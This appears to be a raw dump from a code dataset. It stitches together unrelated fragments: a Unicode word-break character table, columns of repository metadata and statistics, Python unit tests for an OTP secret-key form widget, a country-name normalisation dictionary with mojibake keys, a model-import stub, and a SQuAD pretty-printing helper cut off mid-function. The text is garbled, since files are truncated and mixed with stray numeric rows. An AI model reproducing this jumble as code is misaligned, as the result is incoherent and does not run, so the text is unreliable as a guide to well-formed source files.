"other": "\x00-\x09\x0e-\x5c\x26\x28-\x2b\x5c\x2d\x2f\x3c-\x40\x5c\x5b-\x5c\x5e\x60\x7b-\x84\x86-\xa9\xab-\xac\xae-\xb4\xb6\xb8-\xb9\xbb-\xbf\xd7\xf7\u02c2-\u02c5\u02d2-\u02df\u02e5-\u02eb\u02ed\u02ef-\u02ff\u0375\u0378-\u0379\u037f-\u0385\u038b\u038d\u03a2\u03f6\u0482\u0528-\u0530\u0557-\u0558\u055a-\u0560\u0588\u058a-\u0590\u05be\u05c0\u05c3\u05c6\u05c8-\u05cf\u05eb-\u05ef\u05f5-\u05ff\u0605-\u060b\u060e-\u060f\u061b-\u061f\u066a\u066d\u06d4\u06de\u06e9\u06fd-\u06fe\u0700-\u070e\u074b-\u074c\u07b2-\u07bf\u07f6-\u07f7\u07f9\u07fb-\u07ff\u082e-\u083f\u085c-\u089f\u08a1\u08ad-\u08e3\u08ff\u0964-\u0965\u0970\u0978\u0980\u0984\u098d-\u098e\u0991-\u0992\u09a9\u09b1\u09b3-\u09b5\u09ba-\u09bb\u09c5-\u09c6\u09c9-\u09ca\u09cf-\u09d6\u09d8-\u09db\u09de\u09e4-\u09e5\u09f2-\u0a00\u0a04\u0a0b-\u0a0e\u0a11-\u0a12\u0a29\u0a31\u0a34\u0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u0f1f\u0f2a-\u0f34\u0f36\u0f38\u0f3a-\u0f3d\u0f48\u0f6d-\u0f70\u0f85\u0f98\u0fbd-\u0fc5\u0fc7-\u102a\u103f\u104a-\u1055\u105a-\u105d\u1061\u1065-\u1066\u106e-\u1070\u1075-\u1081\u108e\u109e-\u109f\u10c6\u10c8-\u10cc\u10ce-\u10cf\u10fb\u1249\u124e-\u124f\u1257\u1259\u125e-\u125f\u1289\u128e-\u128f\u12b1\u12b6-\u12b7\u12bf\u12c1\u12c6-\u12c7\u12d7\u1311\u1316-\u1317\u135b-\u135c\u1360-\u137f\u1390-\u139f\u13f5-\u1400\u166d-\u166e\u1680\u169b-\u169f\u16eb-\u16ed\u16f1-\u16ff\u170d\u1715-\u171f\u1735-\u173f\u1754-\u175f\u176d\u1771\u1774-\u17b3\u17d4-\u17dc\u17de-\u17df\u17ea-\u180a\u180e-\u180f\u181a-\u181f\u1878-\u187f\u18ab-\u18af\u18f6-\u18ff\u191d-\u191f\u192c-\u192f\u193c-\u1945\u1950-\u19af\u19c1-\u19c7\u19ca-\u19cf\u19da-\u19ff\u1a1c-\u1a54\u1a5f\u1a7d-\u1a7e\u1a8a-\u1a8f\u1a9a-\u1aff\u1b4c-\u1b4f\u1b5a-\u1b6a\u1b74-\u1b7f\u1bf4-\u1bff\u1c38-\u1c3f\u1c4a-\u1c4c\u1c7e-\u1ccf\u1cd3\u1cf7-\u1cff\u1de7-\u1dfb\u1f16-\u1f17\u1f1e-\u1f1f\u1f46-\u1f47\u1f4e-\u1f4f\u1f58\u1f5a\u1f5c\u1f5e\u1f7e-\u1f7f\u1fb5\u1fbd\u1fbf-\u1fc1\u1fc5\u1fcd-\u1fcf\u1fd4-\u1fd5\u1fdc-\u1fdf\u1fed-\u1ff1\u1ff5\u1ffd-\u200b\u2010-\u2017\u201a-\u2023\u2025-\u2026\u202f-\u203e\u2041-\u2043\u2045-\u2053\u2055-\u205f\u2065-\u2069\u2070\u2072-\u207e\u2080-\u208f\u209d-\u20cf\u20f1-\u2101\u2103-\u2106\u2108-\u2109\u2114\u2116-\u2118\u211e-\u2123\u2125\u2127\u2129\u212e\u213a-\u213b\u2140-\u2144\u214a-\u214d\u214f-\u215f\u2189-\u24b5\u24ea-\u2bff\u2c2f\u2c5f\u2ce5-\u2cea\u2cf4-\u2cff\u2d26\u2d28-\u2d2c\u2d2e-\u2d2f\u2d68-\u2d6e\u2d70-\u2d7e\u2d97-\u2d9f\u2da7\u2daf\u2db7\u2dbf\u2dc7\u2dcf\u2dd7\u2ddf\u2e00-\u2e2e\u2e30-\u3004\u3006-\u3029\u3030\u3036-\u303a\u303d-\u3098\u309d-\u309f\u30fb\u3100-\u3104\u312e-\u3130\u318f-\u319f\u31bb-\u31ef\u3200-\u32cf\u32ff\u3358-\u9fff\ua48d-\ua4cf\ua4fe-\ua4ff\ua60d-\ua60f\ua62c-\ua63f\ua673\ua67e\ua698-\ua69e\ua6f2-\ua716\ua720-\ua721\ua789-\ua78a\ua78f\ua794-\ua79f\ua7ab-\ua7f7\ua828-\ua83f\ua874-\ua87f\ua8c5-\ua8cf\ua8da-\ua8df\ua8f8-\ua8fa\ua8fc-\ua8ff\ua92e-\ua92f\ua954-\ua95f\ua97d-\ua97f\ua9c1-\ua9ce\ua9da-\ua9ff\uaa37-\uaa3f\uaa4e-\uaa4f\uaa5a-\uaa7a\uaa7c-\uaaaf\uaab1\uaab5-\uaab6\uaab9-\uaabd\uaac0\uaac2-\uaadf\uaaf0-\uaaf1\uaaf7-\uab00\uab07-\uab08\uab0f-\uab10\uab17-\uab1f\uab27\uab2f-\uabbf\uabeb\uabee-\uabef\uabfa-\uabff\ud7a4-\ud7af\ud7c7-\ud7ca\ud7fc-\ufaff\ufb07-\ufb12\ufb18-\ufb1c\ufb29\ufb37\ufb3d\ufb3f\ufb42\ufb45\ufbb2-\ufbd2\ufd3e-\ufd4f\ufd90-\ufd91\ufdc8-\ufdef\ufdfc-\ufdff\ufe11-\ufe12\ufe15-\ufe1f\ufe27-\ufe32\ufe35-\ufe4c\ufe51\ufe53\ufe56-\ufe6f\ufe75\ufefd-\ufefe\uff00-\uff06\uff08-\uff0b\uff0d\uff0f-\uff19\uff1c-\uff20\uff3b-\uff3e\uff40\uff5b-\uff65\uffbf-\uffc1\uffc8-\uffc9\uffd0-\uffd1\uffd8-\uffd9\uffdd-\ufff8\ufffc-\uffff\U0001000c\U00010027\U0001003b\U0001003e\U0001004e-\U0001004f\U0001005e-\U0001007f\U000100fb-\U0001013f\U00010175-\U000101fc\U000101fe-\U0001027f\U0001029d-\U0001029f\U000102d1-\U000102ff\U0001031f-\U0001032f\U0001034b-\U0001037f\U0001039e-\U0001039f\U000103c4-\U000103c7\U000103d0\U000103d6-\U000103ff\U0001049e-\U0001049f\U000104aa-\U000107ff\U00010806-\U00010807\U00010809\U00010836\U00010839-\U0001083b\U0001083d-\U0001083e\U00010856-\U000108ff\U00010916-\U0001091f\U0001093a-\U0001097f\U000109b8-\U000109bd\U000109c0-\U000109ff\U00010a04\U00010a07-\U00010a0b\U00010a14\U00010a18\U00010a34-\U00010a37\U00010a3b-\U00010a3e\U00010a40-\U00010a5f\U00010a7d-\U00010aff\U00010b36-\U00010b3f\U00010b56-\U00010b5f\U00010b73-\U00010bff\U00010c49-\U00010fff\U00011047-\U00011065\U00011070-\U0001107f\U000110bb-\U000110bc\U000110be-\U000110cf\U000110e9-\U000110ef\U000110fa-\U000110ff\U00011135\U00011140-\U0001117f\U000111c5-\U000111cf\U000111da-\U0001167f\U000116b8-\U000116bf\U000116ca-\U00011fff\U0001236f-\U000123ff\U00012463-\U00012fff\U0001342f-\U000167ff\U00016a39-\U00016eff\U00016f45-\U00016f4f\U00016f7f-\U00016f8e\U00016fa0-\U0001afff\U0001b001-\U0001d164\U0001d16a-\U0001d16c\U0001d183-\U0001d184\U0001d18c-\U0001d1a9\U0001d1ae-\U0001d241\U0001d245-\U0001d3ff\U0001d455\U0001d49d\U0001d4a0-\U0001d4a1\U0001d4a3-\U0001d4a4\U0001d4a7-\U0001d4a8\U0001d4ad\U0001d4ba\U0001d4bc\U0001d4c4\U0001d506\U0001d50b-\U0001d50c\U0001d515\U0001d51d\U0001d53a\U0001d53f\U0001d545\U0001d547-\U0001d549\U0001d551\U0001d6a6-\U0001d6a7\U0001d6c1\U0001d6db\U0001d6fb\U0001d715\U0001d735\U0001d74f\U0001d76f\U0001d789\U0001d7a9\U0001d7c3\U0001d7cc-\U0001d7cd\U0001d800-\U0001edff\U0001ee04\U0001ee20\U0001ee23\U0001ee25-\U0001ee26\U0001ee28\U0001ee33\U0001ee38\U0001ee3a\U0001ee3c-\U0001ee41\U0001ee43-\U0001ee46\U0001ee48\U0001ee4a\U0001ee4c\U0001ee50\U0001ee53\U0001ee55-\U0001ee56\U0001ee58\U0001ee5a\U0001ee5c\U0001ee5e\U0001ee60\U0001ee63\U0001ee65-\U0001ee66\U0001ee6b\U0001ee73\U0001ee78\U0001ee7d\U0001ee7f\U0001ee8a\U0001ee9c-\U0001eea0\U0001eea4\U0001eeaa\U0001eebc-\U000e0000\U000e0002-\U000e001f\U000e0080-\U000e00ff\U000e01f0-\U0010ffff"
}
ascii_word_break = {
"^aletter": "\x00-\x40\x5c\x5b-\x60\x7b-\xa9\xab-\xb4\xb6-\xb9\xbb-\xbf\xd7\xf7",
"^cr": "\x00-\x0c\x0e-\xff",
"^extend": "\x00-\xff",
"^extendnumlet": "\x00-\x5c\x5e\x60-\xff",
"^format": "\x00-\xac\xae-\xff",
"^katakana": "\x00-\xff",
"^lf": "\x00-\x09\x0b-\xff",
"^midletter": "\x00-\x39\x3b-\xb6\xb8-\xff",
"^midnum": "\x00-\x2b\x5c\x2d-\x3a\x3c-\xff",
"^midnumlet": "\x00-\x5c\x26\x28-\x5c\x2d\x2f-\xff",
"^newline": "\x00-\x0a\x0d-\x84\x86-\xff",
"^numeric": "\x00-\x2f\x3a-\xff",
"^other": "\x0a-\x0d\x27\x2c\x2e\x30-\x3b\x41-\x5a\x5f\x61-\x7a\x85\xaa\xad\xb5\xb7\xba\xc0-\xd6\xd8-\xf6\xf8-\xff",
"aletter": "\x41-\x5a\x61-\x7a\xaa\xb5\xba\xc0-\xd6\xd8-\xf6\xf8-\xff",
"cr": "\x0d",
"extend": "",
"extendnumlet": "\x5f",
"format": "\xad",
"katakana": "",
"lf": "\x0a",
"midletter": "\x3a\xb7",
"midnum": "\x2c\x3b",
"midnumlet": "\x27\x2e",
"newline": "\x0b-\x0c\x85",
"numeric": "\x30-\x39",
"other": "\x00-\x09\x0e-\x5c\x26\x28-\x2b\x5c\x2d\x2f\x3c-\x40\x5c\x5b-\x5c\x5e\x60\x7b-\x84\x86-\xa9\xab-\xac\xae-\xb4\xb6\xb8-\xb9\xbb-\xbf\xd7\xf7"
}
| 582.95
| 7,703
| 0.787089
| 4,829
| 34,977
| 5.69911
| 0.471733
| 0.001308
| 0.001308
| 0.001744
| 0.585807
| 0.553904
| 0.522219
| 0.475491
| 0.45587
| 0.436249
| 0
| 0.440641
| 0.009492
| 34,977
| 59
| 7,704
| 592.830508
| 0.353731
| 0.001601
| 0
| 0.070175
| 1
| 0.368421
| 0.979608
| 0.964428
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.017544
| 0
| 0.017544
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
5d97bba3b632ead38012a5268bf34987e6dc7474
| 8,182
|
py
|
Python
|
tests/widgets/test_secret_widget.py
|
hiroaki-yamamoto/WTF-OTP
|
e7c87839cbe8683dd1f691912156ac348dc98e67
|
[
"Unlicense",
"MIT"
] | 1
|
2019-06-27T06:47:25.000Z
|
2019-06-27T06:47:25.000Z
|
tests/widgets/test_secret_widget.py
|
hiroaki-yamamoto/WTF-OTP
|
e7c87839cbe8683dd1f691912156ac348dc98e67
|
[
"Unlicense",
"MIT"
] | 2
|
2021-08-25T05:11:22.000Z
|
2022-01-29T02:51:57.000Z
|
tests/widgets/test_secret_widget.py
|
hiroaki-yamamoto/WTF-OTP
|
e7c87839cbe8683dd1f691912156ac348dc98e67
|
[
"Unlicense",
"MIT"
] | null | null | null |
#!/usr/bin/env python
# coding=utf-8
"""OTP Secret Ket Widget Tests."""
from unittest import TestCase
try:
from unittest.mock import MagicMock
except ImportError:
from mock import MagicMock
from wtf_otp import OTPSecretKeyWidget
class OTPTestField(object):
"""OTPTestField."""
def __init__(self):
"""Init the function."""
self.name = "test"
self.id = "testid"
self.render_kw = {}
class OTPWidgetNormalInitTest(TestCase):
"""Normal Initialization Tests."""
def setUp(self):
"""Setup."""
self.field = OTPTestField()
self.widget = OTPSecretKeyWidget()
self.widget.templates.get_template = MagicMock()
def test_call(self):
"""The widget should generate jquery based widget."""
self.widget(self.field, div_args={"class": "form-group"})
get_template = self.widget.templates.get_template
get_template.assert_called_once_with("widget.html")
get_template.return_value.render.assert_called_once_with(
div_args={"class": "form-group"},
input_args=dict(
id=self.field.id, name=self.field.name,
**self.field.render_kw
),
button_args={"id": "btn-" + self.field.id},
qrcode={},
script_args={}
)
class OTPWidgetContainsDataTest(TestCase):
"""Normal initlaization, but it contains data."""
def setUp(self):
"""Setup."""
self.field = OTPTestField()
self.field.data = "test"
self.widget = OTPSecretKeyWidget()
self.widget.templates.get_template = MagicMock()
def test_call(self):
"""The widget should generate jquery based widget with the value."""
self.widget(self.field, div_args={"class": "form-group"})
get_template = self.widget.templates.get_template
get_template.assert_called_once_with("widget.html")
get_template.return_value.render.assert_called_once_with(
div_args={"class": "form-group"},
input_args=dict(
id=self.field.id, name=self.field.name,
value=self.field.data, **self.field.render_kw
),
button_args={"id": "btn-" + self.field.id},
qrcode={},
script_args={}
)
class OTPWidgetAngularInitTest(TestCase):
"""AngularJS based initialization test."""
def setUp(self):
"""Setup."""
self.field = OTPTestField()
self.field.render_kw = {"data-ng-model": "test.data"}
self.widget = OTPSecretKeyWidget()
self.widget.templates.get_template = MagicMock()
def test_call(self):
"""The widget should generate AngularJS based view."""
self.widget(
self.field, div_args={"class": "form-group"},
**self.field.render_kw
)
ngmodel = self.field.render_kw.pop("data-ng-model")
self.field.render_kw["data-ng-model"] = "ngModel"
get_template = self.widget.templates.get_template
get_template.assert_called_once_with("widget.html")
get_template.return_value.render.assert_called_once_with(
div_args={
"class": "form-group",
("data-otp-field{}").format(id(self.field)): True,
"data-ng-model": ngmodel
},
input_args=dict(
id=self.field.id, name=self.field.name,
**self.field.render_kw
),
button_args={
"id": "btn-" + self.field.id,
"data-ng-click": ("click{}()").format(id(self.field))
},
script_args={
"fieldid": id(self.field)
},
qrcode={}
)
class OTPAngularWidgetContainsDataTest(TestCase):
"""Normal initlaization, but it contains data."""
def setUp(self):
"""Setup."""
self.field = OTPTestField()
self.field.render_kw = {"data-ng-model": "test.data"}
self.field.data = "test"
self.widget = OTPSecretKeyWidget()
self.widget.templates.get_template = MagicMock()
def test_call(self):
"""The widget should generate angular based widget with the value."""
self.widget(
self.field, div_args={"class": "form-group"},
**self.field.render_kw
)
ngmodel = self.field.render_kw.pop("data-ng-model")
self.field.render_kw["data-ng-model"] = "ngModel"
get_template = self.widget.templates.get_template
get_template.assert_called_once_with("widget.html")
get_template.return_value.render.assert_called_once_with(
div_args={
"class": "form-group",
("data-otp-field{}").format(id(self.field)): True,
"data-ng-model": ngmodel
},
input_args=dict(
id=self.field.id, name=self.field.name,
**self.field.render_kw
),
button_args={
"id": "btn-" + self.field.id,
"data-ng-click": ("click{}()").format(id(self.field))
},
script_args={
"fieldid": id(self.field),
"data": self.field.data
},
qrcode={}
)
class OTPWidgetJQueryQRCodeTest(TestCase):
"""JQuery QR-code Generation Tests."""
def setUp(self):
"""Setup."""
self.field = OTPTestField()
self.widget = OTPSecretKeyWidget()
self.widget.templates.get_template = MagicMock()
def test_call(self):
"""The widget should generate jquery based widget with qrcode."""
self.widget(
self.field, div_args={"class": "form-group"},
qrcode_url="/qrcode"
)
get_template = self.widget.templates.get_template
get_template.assert_called_once_with("widget.html")
get_template.return_value.render.assert_called_once_with(
div_args={"class": "form-group"},
input_args=dict(
id=self.field.id, name=self.field.name,
**self.field.render_kw
),
button_args={"id": "btn-" + self.field.id},
qrcode={
"url": "/qrcode",
"args": {
"id": ("otpauthQR{}").format(self.field.id),
"class": "otp-qrcode"
}
},
script_args={}
)
class OTPWidgetAngularQRCodeTest(TestCase):
"""Angular QR-code Generation Tests."""
def setUp(self):
"""Setup."""
self.field = OTPTestField()
self.field.render_kw = {
"data-ng-model": "model.test"
}
self.widget = OTPSecretKeyWidget()
self.widget.templates.get_template = MagicMock()
def test_call(self):
"""The widget should generate angularjs based widget with qrcode."""
self.widget(
self.field, div_args={"class": "form-group"},
qrcode_url="/qrcode", **self.field.render_kw
)
ngmodel = self.field.render_kw.pop("data-ng-model")
self.field.render_kw["data-ng-model"] = "ngModel"
get_template = self.widget.templates.get_template
get_template.assert_called_once_with("widget.html")
get_template.return_value.render.assert_called_once_with(
div_args={
"class": "form-group",
("data-otp-field{}").format(id(self.field)): True,
"data-ng-model": ngmodel
},
input_args=dict(
id=self.field.id, name=self.field.name,
**self.field.render_kw
),
button_args={
"id": "btn-" + self.field.id,
"data-ng-click": ("click{}()").format(id(self.field))
},
script_args={
"fieldid": id(self.field)
},
qrcode={
"url": "/qrcode",
"args": {
"id": ("otpauthQR{}").format(self.field.id),
"class": "otp-qrcode"
}
}
)
| 33.670782
| 77
| 0.548888
| 857
| 8,182
| 5.084014
| 0.108518
| 0.130135
| 0.061969
| 0.070232
| 0.864127
| 0.858159
| 0.858159
| 0.858159
| 0.858159
| 0.858159
| 0
| 0.000178
| 0.313615
| 8,182
| 242
| 78
| 33.809917
| 0.775641
| 0.086165
| 0
| 0.747368
| 0
| 0
| 0.100678
| 0
| 0
| 0
| 0
| 0
| 0.063158
| 1
| 0.068421
| false
| 0
| 0.026316
| 0
| 0.131579
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
5d99c0a860c86e05e6129d7be5f69e6f4fe9d39b
| 9,849
|
py
|
Python
|
src/data/country_dict.py
|
magnublo/msc-darkweb-scraping
|
7cfb20d9013534d2ad71c388ee59f70b8450773c
|
[
"MIT"
] | null | null | null |
src/data/country_dict.py
|
magnublo/msc-darkweb-scraping
|
7cfb20d9013534d2ad71c388ee59f70b8450773c
|
[
"MIT"
] | null | null | null |
src/data/country_dict.py
|
magnublo/msc-darkweb-scraping
|
7cfb20d9013534d2ad71c388ee59f70b8450773c
|
[
"MIT"
] | null | null | null |
from typing import Dict
COUNTRY_DICT: Dict[str, str] = {'Cape Verde': 'Republic of Cabo Verde', 'Cape Verde (c)': 'Republic of Cabo Verde',
'Cape Verde (C)': 'Republic of Cabo Verde', 'Cape Verde(c)': 'Republic of Cabo Verde',
'Cape Verde(C)': 'Republic of Cabo Verde', 'cape verde': 'Republic of Cabo Verde',
'cape verde (c)': 'Republic of Cabo Verde', 'cape verde (C)': 'Republic of Cabo Verde',
'cape verde(c)': 'Republic of Cabo Verde', 'cape verde(C)': 'Republic of Cabo Verde',
'CAPE VERDE': 'Republic of Cabo Verde', 'CAPE VERDE (c)': 'Republic of Cabo Verde',
'CAPE VERDE (C)': 'Republic of Cabo Verde', 'CAPE VERDE(c)': 'Republic of Cabo Verde',
'CAPE VERDE(C)': 'Republic of Cabo Verde', 'Cape verde': 'Republic of Cabo Verde',
'Cape verde (c)': 'Republic of Cabo Verde', 'Cape verde (C)': 'Republic of Cabo Verde',
'Cape verde(c)': 'Republic of Cabo Verde', 'Cape verde(C)': 'Republic of Cabo Verde',
'republic of cabo verde': 'Republic of Cabo Verde',
'republic of cabo verde (c)': 'Republic of Cabo Verde',
'republic of cabo verde (C)': 'Republic of Cabo Verde',
'republic of cabo verde(c)': 'Republic of Cabo Verde',
'republic of cabo verde(C)': 'Republic of Cabo Verde',
'Republic of Cabo Verde': 'Republic of Cabo Verde',
'Republic of Cabo Verde (c)': 'Republic of Cabo Verde',
'Republic of Cabo Verde (C)': 'Republic of Cabo Verde',
'Republic of Cabo Verde(c)': 'Republic of Cabo Verde',
'Republic of Cabo Verde(C)': 'Republic of Cabo Verde',
'REPUBLIC OF CABO VERDE': 'Republic of Cabo Verde',
'REPUBLIC OF CABO VERDE (c)': 'Republic of Cabo Verde',
'REPUBLIC OF CABO VERDE (C)': 'Republic of Cabo Verde',
'REPUBLIC OF CABO VERDE(c)': 'Republic of Cabo Verde',
'REPUBLIC OF CABO VERDE(C)': 'Republic of Cabo Verde',
'South Korea': 'Korea, Republic of', 'Korea': 'Korea, Republic of',
'Åland Islands': 'Finland', 'Ãland Islands': 'Finland',
'Republic of Korea': 'Korea, Republic of', 'south korea': 'Korea, Republic of',
'south korea (c)': 'Korea, Republic of', 'south korea (C)': 'Korea, Republic of',
'south korea(c)': 'Korea, Republic of', 'south korea(C)': 'Korea, Republic of',
'South Korea (c)': 'Korea, Republic of', 'South Korea (C)': 'Korea, Republic of',
'South Korea(c)': 'Korea, Republic of', 'South Korea(C)': 'Korea, Republic of',
'SOUTH KOREA': 'Korea, Republic of', 'SOUTH KOREA (c)': 'Korea, Republic of',
'SOUTH KOREA (C)': 'Korea, Republic of', 'SOUTH KOREA(c)': 'Korea, Republic of',
'SOUTH KOREA(C)': 'Korea, Republic of', 'South korea': 'Korea, Republic of',
'South korea (c)': 'Korea, Republic of', 'South korea (C)': 'Korea, Republic of',
'South korea(c)': 'Korea, Republic of', 'South korea(C)': 'Korea, Republic of',
'Southkorea': 'Korea, Republic of', 'Southkorea (c)': 'Korea, Republic of',
'Southkorea (C)': 'Korea, Republic of', 'Southkorea(c)': 'Korea, Republic of',
'Southkorea(C)': 'Korea, Republic of', 'SouthKorea': 'Korea, Republic of',
'SouthKorea (c)': 'Korea, Republic of', 'SouthKorea (C)': 'Korea, Republic of',
'SouthKorea(c)': 'Korea, Republic of', 'SouthKorea(C)': 'Korea, Republic of',
'KOREA': 'Korea, Republic of', 'KOREA (c)': 'Korea, Republic of',
'KOREA (C)': 'Korea, Republic of', 'KOREA(c)': 'Korea, Republic of',
'KOREA(C)': 'Korea, Republic of', 'korea': 'Korea, Republic of',
'korea (c)': 'Korea, Republic of', 'korea (C)': 'Korea, Republic of',
'korea(c)': 'Korea, Republic of', 'korea(C)': 'Korea, Republic of',
'Korea (c)': 'Korea, Republic of', 'Korea (C)': 'Korea, Republic of',
'Korea(c)': 'Korea, Republic of', 'Korea(C)': 'Korea, Republic of',
'Republic of Korea (c)': 'Korea, Republic of',
'Republic of Korea (C)': 'Korea, Republic of',
'Republic of Korea(c)': 'Korea, Republic of',
'Republic of Korea(C)': 'Korea, Republic of', 'REPUBLIC OF KOREA': 'Korea, Republic of',
'REPUBLIC OF KOREA (c)': 'Korea, Republic of',
'REPUBLIC OF KOREA (C)': 'Korea, Republic of',
'REPUBLIC OF KOREA(c)': 'Korea, Republic of',
'REPUBLIC OF KOREA(C)': 'Korea, Republic of', 'republic of korea': 'Korea, Republic of',
'republic of korea (c)': 'Korea, Republic of',
'republic of korea (C)': 'Korea, Republic of',
'republic of korea(c)': 'Korea, Republic of',
'republic of korea(C)': 'Korea, Republic of',
'Korea, Republic of': 'Korea, Republic of',
'Korea, Republic of (c)': 'Korea, Republic of',
'Korea, Republic of (C)': 'Korea, Republic of',
'Korea, Republic of(c)': 'Korea, Republic of',
'Korea, Republic of(C)': 'Korea, Republic of',
'KOREA, REPUBLIC OF': 'Korea, Republic of',
'KOREA, REPUBLIC OF (c)': 'Korea, Republic of',
'KOREA, REPUBLIC OF (C)': 'Korea, Republic of',
'KOREA, REPUBLIC OF(c)': 'Korea, Republic of',
'KOREA, REPUBLIC OF(C)': 'Korea, Republic of',
'korea, republic of': 'Korea, Republic of',
'korea, republic of (c)': 'Korea, Republic of',
'korea, republic of (C)': 'Korea, Republic of',
'korea, republic of(c)': 'Korea, Republic of',
'korea, republic of(C)': 'Korea, Republic of', 'åland islands': 'Finland',
'åland islands (c)': 'Finland', 'åland islands (C)': 'Finland',
'åland islands(c)': 'Finland', 'åland islands(C)': 'Finland',
'ÅLAND ISLANDS': 'Finland', 'ÅLAND ISLANDS (c)': 'Finland',
'ÅLAND ISLANDS (C)': 'Finland', 'ÅLAND ISLANDS(c)': 'Finland',
'ÅLAND ISLANDS(C)': 'Finland', 'Åland Islands (c)': 'Finland',
'Åland Islands (C)': 'Finland', 'Åland Islands(c)': 'Finland',
'Åland Islands(C)': 'Finland', 'Åland islands': 'Finland',
'Åland islands (c)': 'Finland', 'Åland islands (C)': 'Finland',
'Åland islands(c)': 'Finland', 'Åland islands(C)': 'Finland', 'Ålandislands': 'Finland',
'Ålandislands (c)': 'Finland', 'Ålandislands (C)': 'Finland',
'Ålandislands(c)': 'Finland', 'Ålandislands(C)': 'Finland', 'ÅlandIslands': 'Finland',
'ÅlandIslands (c)': 'Finland', 'ÅlandIslands (C)': 'Finland',
'ÅlandIslands(c)': 'Finland', 'ÅlandIslands(C)': 'Finland',
'Ãland Islands (c)': 'Finland', 'Ãland Islands (C)': 'Finland',
'Ãland Islands(c)': 'Finland', 'Ãland Islands(C)': 'Finland',
'ÃLAND ISLANDS': 'Finland', 'ÃLAND ISLANDS (c)': 'Finland',
'ÃLAND ISLANDS (C)': 'Finland', 'ÃLAND ISLANDS(c)': 'Finland',
'ÃLAND ISLANDS(C)': 'Finland', 'ãland islands': 'Finland',
'ãland islands (c)': 'Finland', 'ãland islands (C)': 'Finland',
'ãland islands(c)': 'Finland', 'ãland islands(C)': 'Finland',
'finland': 'Finland', 'finland (c)': 'Finland', 'finland (C)': 'Finland',
'finland(c)': 'Finland', 'finland(C)': 'Finland', 'FINLAND': 'Finland',
'FINLAND (c)': 'Finland', 'FINLAND (C)': 'Finland', 'FINLAND(c)': 'Finland',
'FINLAND(C)': 'Finland', 'Finland': 'Finland', 'Finland (c)': 'Finland',
'Finland (C)': 'Finland', 'Finland(c)': 'Finland', 'Finland(C)': 'Finland',
'the Former Yugoslav Republic of': "North Macedonia"}
| 93.8
| 120
| 0.443091
| 927
| 9,849
| 4.70658
| 0.026969
| 0.357552
| 0.30942
| 0.220032
| 0.976851
| 0.974559
| 0.966766
| 0.958744
| 0.958744
| 0.958744
| 0
| 0
| 0.415372
| 9,849
| 104
| 121
| 94.701923
| 0.757728
| 0
| 0
| 0.543689
| 0
| 0
| 0.52716
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.009709
| 0
| 0.009709
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
5da1a520c4cec4708b1dd55d74a9036b36aa98a1
| 130
|
py
|
Python
|
imagenet/regression-pruning/models/__init__.py
|
TanayNarshana/rethinking-network-pruning
|
85360333c909d539880ff59101c7b5f9609789f7
|
[
"MIT"
] | null | null | null |
imagenet/regression-pruning/models/__init__.py
|
TanayNarshana/rethinking-network-pruning
|
85360333c909d539880ff59101c7b5f9609789f7
|
[
"MIT"
] | null | null | null |
imagenet/regression-pruning/models/__init__.py
|
TanayNarshana/rethinking-network-pruning
|
85360333c909d539880ff59101c7b5f9609789f7
|
[
"MIT"
] | null | null | null |
from models.vgg_5x import vgg_5x, vgg_official
from models.resnet_2x import resnet_2x
from models.resnet import resnet50_official
| 32.5
| 46
| 0.869231
| 22
| 130
| 4.863636
| 0.409091
| 0.280374
| 0.299065
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.051282
| 0.1
| 130
| 3
| 47
| 43.333333
| 0.863248
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
5dc867064feb8f707012f2f5d8e528c497e47ba7
| 6,602
|
py
|
Python
|
code/pretty_print.py
|
gakgsr/NLP-2018
|
20a89bb4194676ed1c0186bfcf72db026124446f
|
[
"Apache-2.0"
] | null | null | null |
code/pretty_print.py
|
gakgsr/NLP-2018
|
20a89bb4194676ed1c0186bfcf72db026124446f
|
[
"Apache-2.0"
] | null | null | null |
code/pretty_print.py
|
gakgsr/NLP-2018
|
20a89bb4194676ed1c0186bfcf72db026124446f
|
[
"Apache-2.0"
] | null | null | null |
# Copyright 2018 Stanford University
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""This file contains functions to pretty-print a SQuAD example"""
from colorama import Fore, Back, Style
from vocab import _PAD
# See here for more colorama formatting options:
# https://pypi.python.org/pypi/colorama
def yellowtext(s):
"""Yellow text"""
return Fore.YELLOW + Style.BRIGHT + s + Style.RESET_ALL + Fore.RESET
def greentext(s):
"""Green text"""
return Fore.GREEN + Style.BRIGHT + s + Style.RESET_ALL + Fore.RESET
def redtext(s):
"""Red text"""
return Fore.RED + Style.BRIGHT + s + Style.RESET_ALL + Fore.RESET
def redback(s):
"""Red background"""
return Back.RED + s + Back.RESET
def magentaback(s):
"""Magenta background"""
